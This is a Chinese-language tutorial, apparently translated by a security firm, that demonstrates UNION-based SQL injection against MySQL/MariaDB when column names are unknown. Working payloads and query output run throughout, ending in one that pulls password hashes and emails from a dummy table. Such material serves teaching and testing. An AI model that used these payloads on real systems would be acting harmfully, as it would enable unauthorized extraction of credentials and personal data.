介紹

你可能會遇到這樣的情況:SQL注入時,需要從MySQL的某個表中匯出某些資料。一般來說,要想匯出資料,你必須知道表名、列名,而這兩個名字在某些情況下可能你並不知道。

例如,對於版本小於5。0的MySQL資料庫,以及部分有WAF干擾的版本大於5。0的MySQL資料庫,你就無法輕易獲得表名、列名。

在這種情況下,也許你會放棄,僅僅注入出資料庫名字,證明漏洞存在就結束。

但在這篇文章中,我將展示一種在不知道列名情況下進行的注入。

無列名注入

我和我的隊友@aboul3la一起,建立了一個數據庫環境來模擬被攻擊的目標,並透過大量的嘗試最終找到了一個可行方法。

首先展示一下目標表users

MariaDB [dummydb]> select * from users;

+——+————————+——————————————————————+——————————————-+——————+——————————-+

| id | name | password | email | birthdate | added |

+——+————————+——————————————————————+——————————————-+——————+——————————-+

| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example。org | 1981-05-03 | 1993-03-20 14:03:14 |

| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn。amelie@example。com | 1979-10-28 | 2007-01-20 18:38:29 |

| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example。com | 2005-11-16 | 1992-02-16 04:19:05 |

| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example。com | 2015-07-22 | 2014-03-05 22:57:18 |

| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie。medhurst@example。net | 1991-11-22 | 2005-12-04 20:38:41 |

+——+————————+——————————————————————+——————————————-+——————+——————————-+

5 rows in set (0。00 sec)

我們可以看到,這次表的列名有“name”、“password”、“email”、“出birthday”和“added”。

下一步,我們輸入一個注入中經常使用的探明列數的查詢句式

MariaDB [dummydb]> select 1,2,3,4,5,6 union select * from users;

+——-+————————+——————————————————————+——————————————-+——————+——————————-+

| 1 | 2 | 3 | 4 | 5 | 6 |

+——-+————————+——————————————————————+——————————————-+——————+——————————-+

| 1 | 2 | 3 | 4 | 5 | 6 |

| 1 | alias | a45d4e080fc185dfa223aea3d0c371b6cc180a37 | veronica80@example。org | 1981-05-03 | 1993-03-20 14:03:14 |

| 2 | accusamus | 114fec39a7c9567e8250409d467fed64389a7bee | sawayn。amelie@example。com | 1979-10-28 | 2007-01-20 18:38:29 |

| 3 | dolor | 7f796c9e61c32a5ec3c85fed794c00eee2381d73 | stefan41@example。com | 2005-11-16 | 1992-02-16 04:19:05 |

| 4 | et | aaaf2b311a1cd97485be716a896f9c09aff55b96 | zwalsh@example。com | 2015-07-22 | 2014-03-05 22:57:18 |

| 5 | voluptatibus | da16b4d9661c56bb448899d7b6d30060da014446 | pattie。medhurst@example。net | 1991-11-22 | 2005-12-04 20:38:41 |

+——-+————————+——————————————————————+——————————————-+——————+——————————-+

6 rows in set (0。00 sec)

很好,我們可以注意到,查詢結果中的列的名稱從name、password、email、birthdate替換為1、2、3、4、5、6,這主要是因為前面的查詢語句

select 1,2,3,4,5,6

下一步我們就可以根據查詢結果中的新的列名提取資料,而針對的資料表就是以上的查詢結果。

使用查詢語句

select

4

from (select 1,2,3,4,5,6 union select * from users)redforce;

你就可以將選出第4列資料,也就是電子郵件地址,

MariaDB [dummydb]> select `4` from (select 1,2,3,4,5,6 union select * from users)redforce;

+——————————————-+

| 4 |

+——————————————-+

| 4 |

| veronica80@example。org |

| sawayn。amelie@example。com |

| stefan41@example。com |

| zwalsh@example。com |

| pattie。medhurst@example。net |

+——————————————-+

6 rows in set (0。00 sec)

然後依次select 3,select 2等等。

如何在不知道MySQL列名的情況下注入出資料?

如果要將其帶入實際的注入環境中,我們可以融合產生如下payload

-1 union select 1,(select`4`from (select 1,2,3,4,5,6 union select * from users)a limit 1,1)—— -

。你可以透過不停的修改列名1,2,3,4來提取資料。

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `2` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);

+——————-+————-+

| author_id | title |

+——————-+————-+

| 1 | alias |

+——————-+————-+

1 row in set (0。00 sec)

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `3` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);

+——————-+——————————————————————+

| author_id | title |

+——————-+——————————————————————+

| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37 |

+——————-+——————————————————————+

1 row in set (0。00 sec)

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select `4` from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);

+——————-+————————————+

| author_id | title |

+——————-+————————————+

| 1 | veronica80@example。org |

+——————-+————————————+

1 row in set (0。00 sec)

如何在不知道MySQL列名的情況下注入出資料?

總而言之

透過這種將未知原列名轉換為其他值的方法,你就可以注入出所有的資料。

最終payload

MariaDB [dummydb]> select author_id,title from posts where author_id=-1 union select 1,(select concat(`3`,0x3a,`4`) from (select 1,2,3,4,5,6 union select * from users)a limit 1,1);

+——————-+————————————————————————————————-+

| author_id | title |

+——————-+————————————————————————————————-+

| 1 | a45d4e080fc185dfa223aea3d0c371b6cc180a37:veronica80@example。org |

+——————-+————————————————————————————————-+

謝謝閱讀這篇文章!

本文由白帽彙整理並翻譯,不代表白帽匯任何觀點和立場

白帽匯從事資訊保安,專注於安全大資料、企業威脅情報。

公司產品:FOFA-網路空間安全搜尋引擎、FOEYE-網路空間檢索系統、NOSEC-安全訊息平臺。

為您提供:網路空間測繪、企業資產收集、企業威脅情報、應急響應服務。